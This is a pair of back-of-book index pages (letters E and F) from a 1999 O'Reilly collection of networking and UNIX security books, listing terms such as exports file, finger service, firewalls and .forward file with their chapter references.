Practical UNIX & Internet Security, 18.2.3.2. Testing is not enough!
Practical UNIX & Internet Security, 18.2.3.3. Sending mail
evidence, equipment seized as : Practical UNIX & Internet Security, 26.2.4. Hazards of Criminal Prosecution
ex editor
Practical UNIX & Internet Security, 5.5.3.2. Another SUID example: IFS and the /usr/lib/preserve
Practical UNIX & Internet Security, 11.5.2.4. .exrc
Practical UNIX & Internet Security, 11.5.2.7. Other initializations
EX_CANTCREAT value : sendmail, 36.5.1. EX_CANTCREAT Can't Write a User's File
EX_CONFIG value : sendmail, 36.5.2. EX_CONFIG A Configuration Error
EX_IOERR value : sendmail, 36.5.3. EX_IOERR A System I/O Error Occurred
EX_OK value : sendmail, 36.5.4. EX_OK No Problems, All Was Fine
EX_OSERR value : sendmail, 36.5.5. EX_OSERR A System Resource Error
EX_OSFILE value : sendmail, 36.5.6. EX_OSFILE A Critical System File Failure
EX_SOFTWARE value : sendmail, 36.5.7. EX_SOFTWARE An Internal Software Error
EX_TEMPFAIL value : sendmail, 36.5.8. EX_TEMPFAIL A Recoverable Error
EX_UNAVAILABLE value : sendmail, 36.5.9. EX_UNAVAILABLE A Resource
EX_USAGE value : sendmail, 36.5.10. EX_USAGE A Command Was Used Incorrectly
exceptions : Practical UNIX & Internet Security, C.2. Creating Processes
exclamation mark (!) and mail command : Practical UNIX & Internet Security, 15.1.3. mail Command
exclusive OR (XOR) : Practical UNIX & Internet Security, 6.4.7. An Unbreakable Encryption Algorithm
exec (in Swatch program) : Practical UNIX & Internet Security, 10.6.2. The Swatch Configuration File
exec system call
Practical UNIX & Internet Security, 5.1.7. File Permissions in Detail
Practical UNIX & Internet Security, 18.2.3.3. Sending mail
Practical UNIX & Internet Security, 23.2. Tips on Avoiding Security-related Bugs
Practical UNIX & Internet Security, 25.2.1.1. Too many processes
ExecCGI option : Practical UNIX & Internet Security, 18.3.2. Commands Within the <Directory>
execl system call : Practical UNIX & Internet Security, 23.4. Tips on Writing SUID/SGID Programs
execlp system call : Practical UNIX & Internet Security, 23.4. Tips on Writing SUID/SGID Programs
executable files, in security checks : TCP/IP Network Administration, 12.4.2. Looking for Trouble
execute permission
Practical UNIX & Internet Security, 5.1.7. File Permissions in Detail
Practical UNIX & Internet Security, 5.4. Using Directory Permissions
execv system call : Practical UNIX & Internet Security, 23.4. Tips on Writing SUID/SGID Programs
execve system call : Practical UNIX & Internet Security, 23.4. Tips on Writing SUID/SGID Programs
execvp system call : Practical UNIX & Internet Security, 23.4. Tips on Writing SUID/SGID Programs
exit signal
sendmail, 26.3.1. SIGINT Cleanup and Exit
sendmail, 36.5. sendmail's exit() Status
expanding addresses selectively : sendmail, D.3. K Command's -d switch
expanding macros : sendmail, 31.5. Macro Expansion: $ and $&
expect nothing ('')
TCP/IP Network Administration, 6.3.3. chat
TCP/IP Network Administration, A.3. chat
expect scripting language : TCP/IP Network Administration, A.1.1.1. A sample dip script
expensive delivery agents : sendmail, 30.8. Alphabetized F= Flags
expensive mailers
sendmail, 23.6.1. Periodically with -q
sendmail, 34.8. Alphabetized Reference
expire fields : TCP/IP Network Administration, 12.2.1. The Shadow Password File
expiring
accounts : Practical UNIX & Internet Security, 8.4.3. Finding Dormant Accounts
FTP depositories : Practical UNIX & Internet Security, 17.3.2.6. Setting up anonymous FTP with the standard UNIX FTP
passwords : Practical UNIX & Internet Security, 8.8.6. Password Aging and Expiration
exploder lists : sendmail, 25.4. Exploder Mailing Lists
explosions : Practical UNIX & Internet Security, 12.2.1.5. Explosion
EXPN command
sendmail, 22.3.2. SMTP vrfy and expn
sendmail, 22.8.3.5. The PrivacyOptions option
sendmail, 25.7.1. Unscrambling Forwards
TCP/IP Network Administration, 3.4.1. Simple Mail Transfer Protocol
TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
export laws : Practical UNIX & Internet Security, 26.4.1. Munitions Export
cryptography
Practical UNIX & Internet Security, 6.4.4.1. Use and export of DES
Practical UNIX & Internet Security, 6.7.2. Cryptography and Export Controls
export statement (in gated) : TCP/IP Network Administration, B.10.2. The export Statement
exportfs command : Practical UNIX & Internet Security, 20.2.1.2. /usr/etc/exportfs
exporting news via NFS : Building Internet Firewalls, 8.5.3.3. Exporting news to clients via
exports file
Practical UNIX & Internet Security, 11.6.1.2. Writable system files and directories
Practical UNIX & Internet Security, 19.3.2.4. Using Secure NFS
Practical UNIX & Internet Security, 20.2.1.1. /etc/exports
Practical UNIX & Internet Security, 20.2.1.2. /usr/etc/exportfs
TCP/IP Network Administration, 9.1.5.1. NFS print services
EXPOSED_USER macro (m4) : sendmail, 19.6. Alphabetized m4 Macros
.exrc file : Practical UNIX & Internet Security, 11.5.2.4. .exrc
ext2 filesystem (Linux) : Practical UNIX & Internet Security, 25.2.2.6. Reserved space
Extended SMTP (ESMTP)
sendmail, 4.2. Verbose (-v)
sendmail, 23.9. The qf File Internals
sendmail, 30.8. Alphabetized F= Flags
TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
TCP/IP Network Administration, 10.8. Testing sendmail.cf
BODY parameter (ESMTP)
sendmail, 31.10. Alphabetized Reference
sendmail, 36.7. Alphabetized Reference
private extensions to : TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
extensibility
in monitors : TCP/IP Network Administration, 11.9. Simple Network Management Protocol
of SMTP : TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
Exterior Gateway Protocol : (see EGP)
exterior routers : Building Internet Firewalls, 4.2.3.4. Exterior router
configuring : Building Internet Firewalls, 9.1.2.2. Exterior Router
merging with bastion host : Building Internet Firewalls, 4.3.3. It's OK to Merge
merging with interior router : Building Internet Firewalls, 4.3.2. It's OK to Merge the Interior Router and the Exterior Router
multiple : Building Internet Firewalls, 4.3.6. It's OK to Use
exterior routing protocols : TCP/IP Network Administration, 7.5. Exterior Routing Protocols
external
clients, and proxying : Building Internet Firewalls, 7.4.5. Internal Versus External Clients
programs on HTTP servers : Building Internet Firewalls, 8.6.3.1. What can a malicious client do to
external data representation (XDR) : Practical UNIX & Internet Security, 19.2. Sun's Remote Procedure Call (RPC)
external databases : (see databases)
External-body message subtype : TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
extinguishers, fire : (see fires)
extortion : Practical UNIX & Internet Security, 11.3. Authors

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: F

F configuration command
sendmail, 5.3.6. File Class Macros
sendmail, 12.2. The File Form of Class
sendmail, 18.8. Alphabetized Reference
sendmail, 32.1. Class Configuration Commands
sendmail, 32.1.2. The F Class Command
sendmail, 33. Database Macros
file form : sendmail, 22.4.2. The F Command - File Form
program form : sendmail, 22.4.3. The F Command - Program Form
-f database switch : sendmail, 33.3.4.3. -f don't fold keys to lowercase (V8.1 and above)
f flag
sendmail, 30.7. Pitfalls
sendmail, 30.8. Alphabetized F= Flags
F flag : sendmail, 30.8. Alphabetized F= Flags
F line (qf file)
sendmail, 23.3.5. Funny Flag Bits in qf File
sendmail, 23.9. The qf File Internals
$f macro : sendmail, 31.10. Alphabetized Reference
$F macro : sendmail, 31.10. Alphabetized Reference
f option : (see SaveFromLine (f) option)
F option : (see TempFileMode (F) option)
-f switch (makemap) : sendmail, 33.2.1.2. -f don't fold uppercase to lowercase
-f switch (sendmail)
sendmail, 11.6. Handling user@thishost
sendmail, 14.6. Trusted User
sendmail, 22.8.1. Trusted Users
sendmail, 30.8. Alphabetized F= Flags
sendmail, 36.7. Alphabetized Reference
-F switch (sendmail) : sendmail, 36.7. Alphabetized Reference
F= equate
sendmail, 30.4. The Equates
(see flags, delivery agent)
facility, mail-handling program : sendmail, 26.1.1. syslog(3)
factoring numbers
Practical UNIX & Internet Security, 6.4.6. RSA and Public Key Cryptography
Practical UNIX & Internet Security, 6.4.6.3. Strength of RSA
(see also RSA algorithm)
fail-safe stance
Building Internet Firewalls, 3.5. Fail-Safe Stance
Building Internet Firewalls, 9.1.4.5. Fail-safe stance
Building Internet Firewalls, 9.2.3.5. Fail-safe stance
failed login attempts : (see logging in)
failures, computer
Practical UNIX & Internet Security, 7.1.1.1. A taxonomy of computer failures
Practical UNIX & Internet Security, 23.2. Tips on Avoiding Security-related Bugs
(see also bugs)
fair use laws : Practical UNIX & Internet Security, 26.4.2. Copyright Infringement
fallbackhost : TCP/IP Network Administration, E.4.2. sendmail Options
FallbackMXhost (V) option
sendmail, 21.2.3. Look Up Addresses for Delivery
sendmail, 34.8. Alphabetized Reference
false authentication : Building Internet Firewalls, 10.1.3. False Authentication
FAQ, sendmail : sendmail, 2.2. Read the Documents
Fast Filesystem (FFS) : Practical UNIX & Internet Security, 25.2.2.6. Reserved space
fast ports : (see Ethernet)
FAX (facsimile machine)
sendmail, 3.3.3. Other Protocols
sendmail, 31.10. Alphabetized Reference
FAX-RELAY macro (m4) : sendmail, 19.6. Alphabetized m4 Macros
fax-support, built-in : TCP/IP Network Administration, E.3.5. MAILER
FAX_RELAY macro (m4) : sendmail, 31.10. Alphabetized Reference
FBI (Federal Bureau of Investigation)
Practical UNIX & Internet Security, 26.2.2. Federal Jurisdiction
Practical UNIX & Internet Security, F.3.2. FBI (Federal Bureau of Investigation)
fbtab file : Practical UNIX & Internet Security, 17.3.21.1. etc/fbtab and /etc/logindevperm
fcntl command : sendmail, 23.2.3. The Lock File (obsolete as of V5.62): lf
FDDI network : TCP/IP Network Administration, 6.1.5.4. Maximum transmission unit
backbone : TCP/IP Network Administration, 11.8. Protocol Case Study
FEATURE macro
sendmail, 16.2.3. FEATURE
sendmail, 19.3.4. FEATURE()
sendmail, 19.6. Alphabetized m4 Macros
TCP/IP Network Administration, 10.4.1.1. Building a sendmail.cf with m4 macros
in sendmail
TCP/IP Network Administration, E.3. m4 sendmail Macros
TCP/IP Network Administration, E.3.2. FEATURE
features, listed : TCP/IP Network Administration, E.3.2. FEATURE
Federal Information Exchanges (FIXs) : TCP/IP Network Administration, 1.1. TCP/IP and the Internet
Federal Information Processing Standard (FIPS) : Practical UNIX & Internet Security, 6.4.2. Summary of Public Key Systems
federal law enforcement
Practical UNIX & Internet Security, 26.2.2. Federal Jurisdiction
Practical UNIX & Internet Security, 26.2.3. Federal Computer Crime Laws
_FFR_ macro : sendmail, 18.8. Alphabetized Reference
FFS (Fast File System) : Practical UNIX & Internet Security, 25.2.2.6. Reserved space
fgetfolded routine : sendmail, 18.8. Alphabetized Reference
fgets function : Practical UNIX & Internet Security, 23.1.1. The Lesson of the Internet Worm
Fiber Digital Data Interface (FDDI)
TCP/IP Network Administration, 1.7. Application Layer
TCP/IP Network Administration, 5.3.1.2. Pseudo-device
(see also FDDI network)
fiber optic cables : (see cables, network)
file class macros : sendmail, 5.3.6. File Class Macros
*file* delivery agent : sendmail, 30.5.1. The *file* and *include* Agents
File Handles : Practical UNIX & Internet Security, 20.1.2. File HandlesFile Handles
File Service Protocol
Building Internet Firewalls, 2.2. File Transfer
Building Internet Firewalls, 8.2.3. File Service Protocol (FSP)
File Transfer Protocol : (see FTP (File Transfer Protocol))
filenames, attacks via : Practical UNIX & Internet Security, 11.5.1.4. Filename attacks
files : Practical UNIX & Internet Security, 5.1. Files
appending to
sendmail, 33.2.1.4. -o append to, don't overwrite the file
(see appending to files)
automatic directory listings : Practical UNIX & Internet Security, 18.2.2.2. Additional configuration issues
backing up
Practical UNIX & Internet Security, 7. Backups
Practical UNIX & Internet Security, 7.4.7. inode Modification Times
automatic system for
Practical UNIX & Internet Security, 7.3.2. Building an Automatic Backup System
Practical UNIX & Internet Security, 18.2.3.5. Beware stray CGI scripts
critical files
Practical UNIX & Internet Security, 7.3. Backing Up System Files
Practical UNIX & Internet Security, 7.3.2. Building an Automatic Backup System
prioritizing : Practical UNIX & Internet Security, 7.3.1. What Files to Back Up?
changing owner of : Practical UNIX & Internet Security, 5.7. chown: Changing a File's Owner
checking : TCP/IP Network Administration, 12.4.2.1. Checking files
configuration : (see configuration, files)
context-dependent (CDFs)
Practical UNIX & Internet Security, 5.9.2. Context-Dependent Files
Practical UNIX & Internet Security, 24.4.1.7. Hidden files and directories
core : Practical UNIX & Internet Security, C.4. The kill Command
delivery to : sendmail, 30.8. Alphabetized F= Flags
descriptors : Practical UNIX & Internet Security, 23.2. Tips on Avoiding Security-related Bugs
detecting changes to
Practical UNIX & Internet Security, 9.2. Detecting Change
Practical UNIX & Internet Security, 9.3. A Final Note
device : Practical UNIX & Internet Security, 5.6. Device Files
directory for safe writes : sendmail, 34.8. Alphabetized Reference
downloading, logs of
Practical UNIX & Internet Security, 10.3.3. xferlog Log File
Practical UNIX & Internet Security, 10.3.5. access_log Log File
F configuration command : sendmail, 22.4.2. The F Command - File Form
finding : TCP/IP Network Administration, 13.3. Finding Files
finding all SUID/SGID
Practical UNIX & Internet Security, 5.5.4. Finding All of the SUID and SGID Files
Practical UNIX & Internet Security, 5.5.4.1. The ncheck command
format, monitoring : Practical UNIX & Internet Security, 8.2. Monitoring File Format
group-writable : Practical UNIX & Internet Security, 11.6.1.2. Writable system files and directories
hidden : Practical UNIX & Internet Security, 24.4.1.7. Hidden files and directories
hidden space : Practical UNIX & Internet Security, 25.2.2.7. Hidden space
history : Practical UNIX & Internet Security, 10.4.1. Shell History
immutable : Practical UNIX & Internet Security, 9.1.1. Immutable and Append-Only Files
integrity of : (see integrity)
intruder's changes to : Practical UNIX & Internet Security, 24.4.1.1. Changes in file contents
locating largest : Practical UNIX & Internet Security, 25.2.2.1. Disk-full attacks
location, sendmail options for : sendmail, 34.6.1. File Locations
lock requests, handling : TCP/IP Network Administration, 9.1.1. NFS Daemons
locking : Practical UNIX & Internet Security, 23.2. Tips on Avoiding Security-related Bugs
log : (see logs/logging)
mail sent directly to : Practical UNIX & Internet Security, 15.7. Early Security Problems with UUCP
mailbox : (see mailbox file)
of masquerading domains : sendmail, 19.6. Alphabetized m4 Macros
modification times of
Practical UNIX & Internet Security, 5.1.2. Inodes
Practical UNIX & Internet Security, 5.1.5. File Times
Practical UNIX & Internet Security, 7.4.7. inode Modification Times
Practical UNIX & Internet Security, 9.2.2. Checklists and Metadata
network configuration : Practical UNIX & Internet Security, 10.4.3. Network Setup
output, can't write to : sendmail, 36.5.1. EX_CANTCREAT Can't Write a User's File
queue : sendmail, 3.1.2. The Queue Directory
remote access to
Practical UNIX & Internet Security, 15.4.1. USERFILE: Providing Remote File Access
Practical UNIX & Internet Security, 15.4.2.1. Some bad examples
removing from anonymous FTP area : Building Internet Firewalls, 8.2.1.6. Be careful of writable
servers, names of : TCP/IP Network Administration, 4.5.1. File servers
SGID bit on : Practical UNIX & Internet Security, 5.5.7. SGID Bit on Files (System V UNIX Only): Mandatory
sharing
TCP/IP Network Administration, 1.7. Application Layer
TCP/IP Network Administration, 3.7.1. File Sharing
different from file transfer : TCP/IP Network Administration, 3.7.1. File Sharing
in src directory : sendmail, 2.3. What's What in src
startup
Practical UNIX & Internet Security, 11.5.2. Start-up File Attacks
Practical UNIX & Internet Security, 11.5.2.7. Other initializations
storing classes in : sendmail, 12.2. The File Form of Class
system database : Practical UNIX & Internet Security, 1.2. What Is an Operating System?
temporary, permissions for : sendmail, 34.8. Alphabetized Reference
transferring
Building Internet Firewalls, 2.2. File Transfer
Building Internet Firewalls, 8.2. File Transfer
Building Internet Firewalls, 8.14. Network File System
Practical UNIX & Internet Security, 15.1.1. uucp Command
(see also NFS)
interactive transfers : TCP/IP Network Administration, 1.7. Application Layer
types of : Practical UNIX & Internet Security, 5.1.6. Understanding File Permissions
unowned : Practical UNIX & Internet Security, 24.4.1.8. Unowned files
uploading by prearrangement : Building Internet Firewalls, 8.2.1.6. Be careful of writable
on Web servers : (see Web servers)
world-writable : Practical UNIX & Internet Security, 11.6.1.1. World-writable user files and directories
zero-filled bytes in : Practical UNIX & Internet Security, 7.4. Software for Backups
filesystems : (see directories)
backing up : Building Internet Firewalls, 13.5.1. Backing Up Your Filesystems
hierarchy : sendmail, 3.1. Role in the Filesystem
mounting as read-only : Building Internet Firewalls, 5.8.4.3. Mount filesystems as read-only
network : Building Internet Firewalls, 2.12. Network File Systems
filter files (mail) : Practical UNIX & Internet Security, 11.5.2.5. .forward, .procmailrc
filter programs
sendmail, 24.4.1. The Postmaster Alias
sendmail, 24.6.2. Filtering Recipients with a Shell Script
filtering air : Practical UNIX & Internet Security, 12.2.1.3. Dust
filtering packets : (see packet filtering)
filtering router : (see screening routers)
FIN bit : TCP/IP Network Administration, 1.6.2. Transmission Control Protocol
find command
Practical UNIX & Internet Security, 5.5.4. Finding All of the SUID and SGID Files
Practical UNIX & Internet Security, 11.5.1.4. Filename attacks
-H option : Practical UNIX & Internet Security, 5.9.2. Context-Dependent Files
-ls option : Practical UNIX & Internet Security, 9.2.2.1. Simple listing
-size option : Practical UNIX & Internet Security, 25.2.2.1. Disk-full attacks
-H option : Practical UNIX & Internet Security, 24.4.1.7. Hidden files and directories
-print option : Practical UNIX & Internet Security, 5.5.4. Finding All of the SUID and SGID Files
in security checks : TCP/IP Network Administration, 12.4.2.1. Checking files
type -f option : Practical UNIX & Internet Security, 5.5.4. Finding All of the SUID and SGID Files
-xdev option : Practical UNIX & Internet Security, 5.5.4. Finding All of the SUID and SGID Files
finding addresses : (see rule set 3)
finger service
Building Internet Firewalls, 2.7. Information About People
Building Internet Firewalls, 5.6. Selecting Services Provided by the
Building Internet Firewalls, 5.8.2.4. Which services should you disable?
Building Internet Firewalls, 8.8.1. finger
Practical UNIX & Internet Security, 8.1.3. Accounts That Run a Single Command
Practical UNIX & Internet Security, 10.1.1. lastlog File
Practical UNIX & Internet Security, 10.1.2. utmp and wtmp Files
Practical UNIX & Internet Security, 15.3.1. Assigning Additional UUCP Logins
Practical UNIX & Internet Security, 15.4.3. L.cmds: Providing Remote Command Execution
Practical UNIX & Internet Security, 17.3.4.3. Improving the security of Berkeley sendmail V8
Practical UNIX & Internet Security, 17.3.8. finger (TCP Port 79)
Practical UNIX & Internet Security, 17.3.8.3. Replacing finger
Practical UNIX & Internet Security, 21.4.4.1. Creating an ftpout account to allow FTP without proxies.
Practical UNIX & Internet Security, 23.1.1. The Lesson of the Internet Worm
Practical UNIX & Internet Security, 24.2.1. Catching One in the Act
Practical UNIX & Internet Security, 24.2.4.2. How to contact the system administrator of a computer
(see also Worm program)
disabling : Practical UNIX & Internet Security, 17.3.8.2. Disabling finger
monitoring access to daemon : TCP/IP Network Administration, 12.5.1. wrapper
service : TCP/IP Network Administration, 5.4. The Internet Daemon
target for intruders : TCP/IP Network Administration, C.3.1.8. Well-Known Services record
fingerd server
Building Internet Firewalls, 5.8.2.4. Which services should you disable?
sendmail, 22.3.2. SMTP vrfy and expn
fingerprint authentication : Building Internet Firewalls, 10.2.1. Something You Are
finite state machine (FSM)
diagrams or tables : TCP/IP Network Administration, B.4. Trace Statements
transitions, tracing : TCP/IP Network Administration, B.8.10. The routerdiscovery Statement
FIPS (Federal Information Processing Standard) : Practical UNIX & Internet Security, 6.4.2. Summary of Public Key Systems
fired employees : Practical UNIX & Internet Security, 13.2.6. Departure
fires
Practical UNIX & Internet Security, 12.2.1.1. Fire
Practical UNIX & Internet Security, 12.2.1.2. Smoke
Practical UNIX & Internet Security, 12.4.1.1. Fire hazards
TCP/IP Network Administration, 12.1.1. Assessing the Threat
extinguishers and radio transmitters : Practical UNIX & Internet Security, 12.2.1.8. Electrical noise
firewalls
Building Internet Firewalls, 1.4. What Is an Internet Firewall?
Practical UNIX & Internet Security, 8.8.9. Account Names Revisited: Using Aliases for Increased
Practical UNIX & Internet Security, 17.2. Controlling Access to Servers
Practical UNIX & Internet Security, 21. Firewalls
Practical UNIX & Internet Security, 21.4.2. Electronic Mail
Practical UNIX & Internet Security, 21.5. Special Considerations
TCP/IP Network Administration, 9.3.2. NIS+
TCP/IP Network Administration, 12.7. Firewalls
(see also security)
accepting only internal mail : sendmail, 20.2.1. Accept Mail Only From Our Domain
architecture of : Building Internet Firewalls, 4.2. Firewall Architectures
backing up : Building Internet Firewalls, 12.1.1. Backing Up Your Firewall
blocking troubleshooting measures : TCP/IP Network Administration, 11.1.1. Troubleshooting Hints
buying versus building : Building Internet Firewalls, 1.4.3. Buying Versus Building
checklist for : Practical UNIX & Internet Security, A.1.1.20. Chapter 21: Firewalls
configuring NTP with : Building Internet Firewalls, 8.13.3. Configuring NTP to
configuring SMTP with : Building Internet Firewalls, 8.1.1.6. Configuring SMTP to
defined : TCP/IP Network Administration, 12.7. Firewalls
definition of : Building Internet Firewalls, 1.4. What Is an Internet Firewall?
designing : Building Internet Firewalls, 4. Firewall Design
disadvantage of : TCP/IP Network Administration, 12.7.1. Functions of the firewall
dual-homed host as : Building Internet Firewalls, 5.8.2.5. Turning off routing
FAQ for : Building Internet Firewalls, A.7. Papers
functions of : TCP/IP Network Administration, 12.7.1. Functions of the firewall
headers and : sendmail, 20.2.5. Prune Received: Headers at Firewall
internal : Building Internet Firewalls, 4.4. Internal Firewalls
bastion hosts on : Building Internet Firewalls, 4.4.6. An Internal Firewall May or May Not
IP multicasting and : Building Internet Firewalls, 8.9.3. The Multicast Backbone (MBONE)
IPv6 and : Building Internet Firewalls, 6.3.6. IP Version 6
on joint networks : Building Internet Firewalls, 4.4.4. Joint Venture Firewalls
keeping current : Building Internet Firewalls, 12.3. Keeping Up to Date
layering : Building Internet Firewalls, 3.2. Defense in Depth
limiting connectivity : TCP/IP Network Administration, 10.7.1. Modifying Local Information
mailing list for
Practical UNIX & Internet Security, E.1.3.1. Academic-Firewalls
Practical UNIX & Internet Security, E.1.3.7. Firewalls
mailing lists : Building Internet Firewalls, A.3.1. Firewalls
maintaining : Building Internet Firewalls, 12. Maintaining Firewalls
multiple bastion hosts : Building Internet Firewalls, 4.3.1. It's OK to Use
nameservers and : Practical UNIX & Internet Security, 17.3.6.2. DNS nameserver attacks
need for professional installation : TCP/IP Network Administration, 12.7.1. Functions of the firewall
for NIS sites : Practical UNIX & Internet Security, 19.4.5. Unintended Disclosure of Site Information with NIS
portmapper program and : Practical UNIX & Internet Security, 19.2.1. Sun's portmap/rpcbind
recreating entirely : Building Internet Firewalls, 12.5. When Should You Start Over?
resources for : Building Internet Firewalls, A. Resources
responding to probes of : Building Internet Firewalls, 12.2.4. Responding to Probes
responding to security incidents : Building Internet Firewalls, 13. Responding to Security Incidents
routing control within
TCP/IP Network Administration, 12.7.2. Routing control
TCP/IP Network Administration, E.4.2. sendmail Options
RunAsUser option : sendmail, 34.8. Alphabetized Reference
samples of : Building Internet Firewalls, 9. Two Sample Firewalls
security policies for : Building Internet Firewalls, 11. Security Policies
setting up NNTP in : Building Internet Firewalls, 8.5.3. Dangerous Ways to Set up
for specific network services : Practical UNIX & Internet Security, G. Table of IP Services
testing : Building Internet Firewalls, 6.8.7. It Should Be Able to Log Accepted and
tools for : Building Internet Firewalls, B. Tools
using BSD system as : TCP/IP Network Administration, 5.3.1.1. Options
using Linux system as : TCP/IP Network Administration, 5.2. Linux Kernel Configuration
utilities for : Building Internet Firewalls, B.6. Utilities
weakest link and : Building Internet Firewalls, 3.4. Weakest Link
what to protect : Building Internet Firewalls, 1.1. What Are You Trying to
X11 window system and : Building Internet Firewalls, 8.16. X11 Window System
FIRST mailing list : TCP/IP Network Administration, 12.1.2.2. Use mailing lists to distribute information
FIRST response teams
Building Internet Firewalls, A.5.2. FIRST
Practical UNIX & Internet Security, 24.6. Resuming Operation
Practical UNIX & Internet Security, E.3.3. FIRST
first-class precedence : sendmail, 14.4. Precedence
Fitzgerald, Tom : Practical UNIX & Internet Security, 22.5. UDP Relayer
Flags field : TCP/IP Network Administration, 1.5.1.3. Fragmenting datagrams
flags, delivery agent
sendmail, 6.3. The local Delivery Agent
sendmail, 6.4. Add the Missing Parts to Mhub
sendmail, 14.2. Headers Versus Delivery Agent Flags
sendmail, 14.2.3. The Message-ID: Header
sendmail, 30.4. The Equates
sendmail, 30.8. Alphabetized F= Flags
sendmail, 35.4. ?flags? in Header Definitions
(see also under specific flag)
flags, qf file : sendmail, 23.9. The qf File Internals
flags, routine table
TCP/IP Network Administration, 2.5. The Routing Table
TCP/IP Network Administration, 7.2. The Minimal Routing Table
defining interface characteristics : TCP/IP Network Administration, 6.1.2. Checking the Interface with ifconfig
flock command : sendmail, 23.2.3. The Lock File (obsolete as of V5.62): lf
flooding
Building Internet Firewalls, 1.2.1.2. Denial of Service
TCP/IP Network Administration, 7.4.3. Open Shortest Path First
TCP/IP Network Administration, B.8.1. The ospf Statement
client : Practical UNIX & Internet Security, 16.3.2. Security and Nameservice
messages : Practical UNIX & Internet Security, 25.3.2. Message Flooding
servers with requests : Practical UNIX & Internet Security, 25.3.1. Service Overloading
water : (see water)
floors, raised : Practical UNIX & Internet Security, 12.2.3.1. Raised floors and dropped ceilings
floppy disks : (see backups; media)
flow control
Building Internet Firewalls, C.6.2. Transmission Control Protocol
TCP/IP Network Administration, 1.5.2. Internet Control Message Protocol
TCP/IP Network Administration, 1.6.2. Transmission Control Protocol
flows, IPv6 : Building Internet Firewalls, 6.3.6. IP Version 6
focused address : sendmail, 17.1.1.3. Handle null address
folders : (see directories)
FollowSymLinks option : Practical UNIX & Internet Security, 18.3.2. Commands Within the <Directory>
font, Japanese conversion : sendmail, 36.7. Alphabetized Reference
foo.org database : TCP/IP Network Administration, 12.4.3.2. SATAN
food : Practical UNIX & Internet Security, 12.2.2.1. Food and drink
forged mail messages
sendmail, 13.2.1. The Location of the Queue Directory
sendmail, 22.7. Forged Mail
forged packets : Building Internet Firewalls, 6.3.7. Non-IP Protocols
forgery : (see also security)
man-in-the-middle : Building Internet Firewalls, 6.6.1. Risks of Filtering by Source
source address : Building Internet Firewalls, 6.6.1. Risks of Filtering by Source
fork command
Practical UNIX & Internet Security, 23.2. Tips on Avoiding Security-related Bugs
Practical UNIX & Internet Security, 25.2.1.1. Too many processes
Practical UNIX & Internet Security, C.2. Creating Processes
sendmail, 30.6.1. Fork
sendmail, 34.8. Alphabetized Reference
FORK macro : sendmail, 18.8. Alphabetized Reference
ForkEachJob (Y) option : sendmail, 34.8. Alphabetized Reference
format
address
sendmail, 6.3. The local Delivery Agent
sendmail, 31.10. Alphabetized Reference
file, monitoring : Practical UNIX & Internet Security, 8.2. Monitoring File Format
redoing as destructive attack : Practical UNIX & Internet Security, 25.1. Destructive Attacks
USERFILE entries : Practical UNIX & Internet Security, 15.4.1.3. Format of USERFILE entry without system name
Forum of Incident Response and Security Teams (FIRST) : TCP/IP Network Administration, 12.1.2.2. Use mailing lists to distribute information
.forward file
Practical UNIX & Internet Security, 11.5.2.5. .forward, .procmailrc
Practical UNIX & Internet Security, 21.4.2. Electronic Mail
Practical UNIX & Internet Security, 24.4.1.6. Changes to startup files
sendmail, 18.8. Alphabetized Reference
sendmail, 22.5.3. Permissions for ~/.forward Files
sendmail, 23.9. The qf File Internals
sendmail, 25.7. The User's ~/.forward File
sendmail, 34.8. Alphabetized Reference
TCP/IP Network Administration, 10.3.1. Personal mail forwarding
chain of : sendmail, 25.7.1. Unscrambling Forwards
ForwardPath (J) option
sendmail, 22.8.3.2. The ForwardPath option
sendmail, 34.8. Alphabetized Reference
smrsh program : sendmail, 22.8.2. The smrsh Program
forwarders
sendmail, 8.1.1. The dc.gov Domain
TCP/IP Network Administration, 8.3.1.1. Configuring a caching-only nameserver
TCP/IP Network Administration, C.2. named.boot Configuration Commands
forwarding
sendmail, 29.6.6. Forwarding over the Network
TCP/IP Network Administration, 1.5.1.4. Passing datagrams to the transport layer
loops : sendmail, 25.7.2. Forwarding Loops
with Resent- headers : sendmail, 35.7. Forwarding with Resent-Headers
ForwardPath (J) option
sendmail, 22.8.3.2. The ForwardPath option
sendmail, 34.8. Alphabetized Reference
FQDNs (fully qualified domain names)
sendmail, 4.2. Verbose (-v)
sendmail, 7.3.1. The hostname
sendmail, 8.1. A Fictional Network
sendmail, 21.1. Overview
TCP/IP Network Administration, 3.3.3. Domain Names
(see also $j macro)
trailing dot for
sendmail, 15.3. MX Records
sendmail, 17.4. Rule Set 4
sendmail, 29.5.1. Stripping Trailing Dots
fragmentation
Building Internet Firewalls, 6.3.1.2. IP layer
Building Internet Firewalls, 6.3.2.2. IP fragmentation
Building Internet Firewalls, C.5.1.3. Fragmenting datagrams
TCP/IP Network Administration, 1.5.1.3. Fragmenting datagrams
avoiding : TCP/IP Network Administration, 6.1.5.4. Maximum transmission unit
datagrams : (see datagrams)
Fragmentation Offset field : TCP/IP Network Administration, 1.5.1.3. Fragmenting datagrams
Frame Ground (FG) : Practical UNIX & Internet Security, 14.3. The RS-232 Serial Protocol
frames : TCP/IP Network Administration, 1.3. TCP/IP Protocol Architecture
fraud
Practical UNIX & Internet Security, 14.4.1. One-Way Phone Lines
Practical UNIX & Internet Security, 26.2.2. Federal Jurisdiction
FreeBSD systems
TCP/IP Network Administration, 5.3. The BSD Kernel Configuration File
TCP/IP Network Administration, 5.3.1.1. Options
freezing sendmail.cf configuration file : sendmail, 36.7. Alphabetized Reference
"From:" header line
sendmail, 1.5. The Header
sendmail, 5.3.10. Trusted Users
sendmail, 14.1.1. The From: Header
sendmail, 18.8. Alphabetized Reference
sendmail, 30.7. Pitfalls
sendmail, 30.8. Alphabetized F= Flags
sendmail, 31.10. Alphabetized Reference
sendmail, 34.8. Alphabetized Reference
sendmail, 35.7.1. Remove and Recreate the From: Header
sendmail, 35.10. Alphabetized Reference
(see also $l macro)
(see also trusted users)
from= equate (syslog output) : sendmail, 26.1.3.3. from= show envelope sender
